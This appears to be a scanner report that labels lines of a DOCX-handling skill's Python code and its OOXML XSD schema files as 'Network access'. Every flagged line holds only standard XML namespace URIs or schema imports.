rels_editor.append_to(rels_editor.dom.documentElement, f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>') doc['[Content_Types].xml'].append_to(d - Network accessline 465
f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>') - Network accessline 475
<wp:extent cx="{width_emus}" cy="{height_emus}"/> <wp:docPr id="1" name="Picture 1"/> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> - Network accessline 476
<wp:docPr id="1" name="Picture 1"/> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 477
<a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> - Network accessline 478
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 479
<pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 6
xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 9
elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" schemaLocation="dml-chartDrawing.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 15
schemaLocation="dml-chartDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 8
elementFormDefault="qualified" attributeFormDefault="unqualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 12
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
xmlns="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 11
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" schemaLocation="dml-diagram.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" - Network accessline 13
schemaLocation="dml-diagram.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" schemaLocation="dml-chart.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart" - Network accessline 15
schemaLocation="dml-chart.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" schemaLocation="dml-picture.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 17
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas" schemaLocation="dml-lockedCanvas.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 4
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 6
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 5
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 7
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 9
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> - Network accessline 10
<xsd:import schemaLocation="shared-relationshipReference.xsd" namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> <xsd:element name="from" type="CT_Marker"/> - Network accessline 11
namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 4
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 5
xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" - Network accessline 9
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 11
schemaLocation="dml-main.xsd"/> <xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 12
<xsd:import schemaLocation="wml.xsd" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 13
namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" - Network accessline 15
schemaLocation="dml-picture.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 16
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 4
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" - Network accessline 5
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 6
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 7
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 8
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 9
targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 11
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" schemaLocation="dml-main.xsd"/> - Network accessline 12
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" - Network accessline 13
schemaLocation="dml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" - Network accessline 6
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml" - Network accessline 6
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main" - Network accessline 4
targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" - Network accessline 7
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 8
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 9
schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 10
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 4
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" - Network accessline 6
elementFormDefault="qualified" blockDefault="#all"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" schemaLocation="shared-documentPropertiesVariantTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes" - Network accessline 6
blockDefault="#all" elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 7
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 4
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/ - Network accessline 8
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math"> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 10
schemaLocation="wml.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/> <xsd:simpleType name="ST_Integer255"> - Network accessline 13
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
elementFormDefault="qualified" targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" blockDefault="#all"> - Network accessline 6
targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 6
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main" - Network accessline 8
elementFormDefault="qualified"> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
schemaLocation="shared-commonSimpleTypes.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" - Network accessline 13
<xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" schemaLocation="dml-spreadsheetDrawing.xsd"/> - Network accessline 14
namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml" - Network accessline 3
xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 4
xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" - Network accessline 5
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 6
xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:x="urn:schemas-microsoft-com:office:excel" - Network accessline 7
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified" - Network accessline 9
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 12
<xsd:import namespace="urn:schemas-microsoft-com:office:office" schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 13
schemaLocation="vml-officeDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="wml.xsd"/> - Network accessline 14
<xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" - Network accessline 16
<xsd:import namespace="urn:schemas-microsoft-com:office:word" schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 17
schemaLocation="vml-wordprocessingDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 18
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 22
<xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint" schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 23
schemaLocation="vml-presentationDrawing.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 24
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedT - Network accessline 4
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 5
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 7
attributeFormDefault="unqualified"> <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 8
<xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" schemaLocation="shared-relationshipReference.xsd"/> - Network accessline 9
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" - Network accessline 10
schemaLocation="shared-relationshipReference.xsd"/> <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="shared-commonSimpleTypes.xsd"/> - Network accessline 11
<xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd
skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd
- Network accessline 1
<?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 2
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" - Network accessline 3
xmlns="urn:schemas-microsoft-com:office:excel" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified" - Network accessline 4
xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" - Network accessline 5
